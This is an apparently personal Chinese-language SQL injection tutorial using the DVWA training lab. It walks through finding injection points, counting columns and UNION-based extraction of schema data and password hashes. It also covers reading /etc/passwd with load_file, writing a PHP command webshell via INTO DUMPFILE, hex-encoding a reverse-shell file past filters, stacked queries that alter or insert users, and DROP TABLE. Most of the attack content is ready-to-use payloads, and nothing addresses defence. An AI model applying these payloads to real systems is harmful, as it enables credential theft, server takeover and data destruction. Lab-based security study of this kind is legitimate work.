原理
通过操作输入修改后台SQL语句,使攻击者绕过 web server 的身份认证机制,从而控制web server上的数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向 web application 输入数据,而且还可以在数据库上执行任意命令
如一个不安全的 web application 在进行用户身份检验时使用以下语句:
SELECT * FROM users WHERE user='uname' AND password='pass'
如果用户在输入时输入“ ' OR ''=' ”,就会导致SQL语句变成以下样子
SELECT * FROM users WHERE user='name' AND password='' OR ''=''
这样就构成了一个简单的SQL注入。(还是老问题,怎么可能不过滤嘛)
检测注入点
1.基于报错的检测方法
利用特殊字符 ' " % () 来进行测试。如果web application报错了就说明存在注入点。
2.基于布尔的检测方法
1' and '1'='1 / 1' and '1 //真
1' and '1'='2 / 1' and '0 //假
观察返回值是否按照输入返回真假。
收集数据库信息
在进行注入之前还需要做一些准备,方便后面的注入。
1.判断SQL命令中查询了多少字段
通常是通过 order by 指令来判断。order by 是一个排序指令,这里可以通过过它来判断字段数。
构造指令如下:
' order by [number]-- //按查询列号排序
//注意最后的注释符含空格 "-- "
//在URL中 "-- " 和 "--+" 是一样的
将其中的[number]改为任意数字,找到刚好不报错的就是查询的字段数。
2.查询数据库中信息的常用函数
//以下都以DVWA中的 SQL injection 为例
知道了字段数就可以用 select 语句来查询其他信息了。但直接 select 会报错,这时就需要一个 union 来联合搜索:
' union select 1,2--+
' union all select database(),2--+
// union 或 union all 都可以,两者差不多
切分查询后结果
substring_index([function], "[character]", number)
function 指输入的函数;character 指的是以什么字符分割;number 指的是需要分割后的第几段。
查看database用户
user()
查看databases版本
version()
查看当前database
database()
ASCII码转字符
char()
这个函数作用主要是绕过一些过滤
计算哈希值
md5()
连接字符串
CONCAT_WS(CHAR(32,58,32),user(),database(),version())
以上面的为例,CONCAT_WS是函数名,将后面的函数连接起来输出。char(32,58,32)是指以什么符号分割,后面接需要输出的函数。
全局变量
全局变量是SQL Server系统内部使用的变量,由系统定义和维护,我们只能使用,不能修改。
引用全局变量时必须使用@@开头
一些常用全局变量:
@@datadir //输出当前数据库的位置
@@hostname //输出当前主机名
@@version //查看database版本
@@version_compile_os //查看操作系统版本
3.查找数据库基本信息
MySQL将它的元数据都存在一个库 information_schema 里面。这个库里面存在所有的数据库的基本信息。如库的数量等。
如果想查询数据库的基本信息,就从 information_schema 里面查找。
下面是一些语句的示例:
查找所有库,所有表
' union select table_name,table_schema from information_schema.tables--+
统计每个库中表的数量
' UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema --
输出DVWA中的表
' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--+
输出User表内的所有列
' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--+
查询user,password列中的内容
' union select user,password from dvwa.users--+
' union select user,password from users--+
' union select null, concat(user,0x3a,password) from users--+
//第三种的concat和上面的concate_wp功能一样的。
//区别只是 concate_wp 需要在起始位置指定分隔符而concate在中间指定
//concate中间的0x3a是字符的十六进制表示
脱出来的密码可以用Kali中的 hash_information 程序来判断它是属于哪种加密方式。
读写文件
现在的主流数据库都会含有大量库函数。而这些库函数可以让我们进行更深入的攻击。
1.读取本地文件
MySQL里面含有一个数据库管理系统的函数 load_file 这个函数可以读取系统本地的文件。
' union SELECT null, load_file('/etc/passwd')--+
2.写入文件
有读取本地文件的函数就有写入本地文件的函数。
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+
//这个语句是无法执行的。原因后面说
这个 INTO DUMPFILE 也是数据库管理系统里面的一个函数。后面双引号里面引起来的就是文件路径和文件名。未指定路径的话就MySQL的默认目录。
上面的代码是无法执行的。原因是SQL注入的权限一般是MySQL的权限,而 /var/www/ 这个目录的属主和属组都是www-data,所以无法写入。
这时可以通过一个中介文件夹,通过文件包含漏洞将木马包含进来。常用的就是 /tmp/ 目录。它的权限是 777 ,即任何人都可以读写执行。
3.编码
web server 怎么可能没有过滤呢~
对付过滤第一个想到的当然是编码啦。这里利用十六进制编码。每个Linux都有一个程序 xxd ,这个程序是将文件进行十六进制编码。
cat php-revers-shell.php | xxd -ps | tr -d '\n' //最后一串指令是删去回车
利用以上语句就可以获得木马的十六进制编码了。
接着还是一样的注入:
' union select null, (0x3c3f706870) INTO DUMPFILE '/tmp/x.php'--
//注意这里的格式一定要严谨
就可以绕过部分限制。
这里还有一个注意点:如果你的木马大小太大的话,用GET方式上传 web server 可能会拒绝接受。
4.将数据库文件写入本地
可以将本地文件读取进数据库,也可以将数据库的数据写入本地。
' union SELECT null, database() INTO OUTFILE '/tmp/a.db'--+
下载数据库
有时候数据库比较大,只是查询的话会很麻烦,甚至无法显示。这时候就可以将数据库下载至本地查看。
' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/tmp/a.db'--
通过上面的语句可以将数据库文件输入至指定文件夹,然后就可以通过文件包含漏洞下载。
如果没有文件包含漏洞的话那就只能慢慢查询。文件过大的话可以限制输出的数量。或者通过命令行工具 wget 或 curl 来下载。
其他利用思路
有时候拿到了数据库里的密码也不一定能解密。这时候可以通过编写代码来插入一个用户,并将其权限提至与root等同的权限。
修改用户名或用户密码
'; update users set user='yuanfh' where user='admin
上面这个代码在有些时候是无法执行的。无法执行的原因在于一些 SQL 客户端工具的代码没写好,从而导致单行多命令无法执行。
参考:http://dev.mysql.com/doc/refman/5.7/en/commands-out-of-sync.html
插入一个新用户
'; INSERT INTO users ('user_id','first_name','last_name','user','password','avatar') VALUES ('35','fh','yuan','yfh','5f4dcc3b5aa765d61d8327deb882cf99','OK');--+
删表
'; DROP TABLE users; --
总之扩展自己的思维总会发现一些神奇的方法。
权限不足
大多数时候SQL注入获得的权限并不是 MySQL数据库的root权限。这时候我们就没有权限查看 information_schema 这个库。
遇到这种情况,我们可以选择利用猜解的方法来猜出数据库的信息。
1.猜列名
' and column is null--+
2.猜当前表的表名
' and table.user is null--+
3.猜解其他表
' and (select dvwa from table)>0--+
4.猜列表对应关系
' and users.user is null--+
5.猜字段内容
' or user='admin
' or user like ' %a% //这种是模糊搜索,匹配含有a字母的值
6.猜解账号对应密码
' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99
随便写写
SQL注入既然是对数据库的注入,也是要用到很多数据库所有的函数。想要进行更好的注入还是要了解数据库的基本原理和函数吧。